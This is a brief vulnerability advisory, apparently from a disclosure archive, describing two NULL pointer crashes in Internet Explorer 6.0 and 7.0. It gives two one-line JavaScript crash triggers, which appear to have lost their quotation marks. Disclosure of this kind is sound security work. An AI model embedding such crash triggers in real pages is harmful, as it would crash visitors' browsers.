Microsoft Internet Explorer 6.0/7.0 NULL pointer crashes Two crashes caused by NULL pointer dereferences have been discovered in MSIE 6.0/7.0. These issues do not affect MSIE 8.0.

========================================================
document.createElement(li).value=3

document.createElement(html).outerHTML
========================================================

Credit : Skylined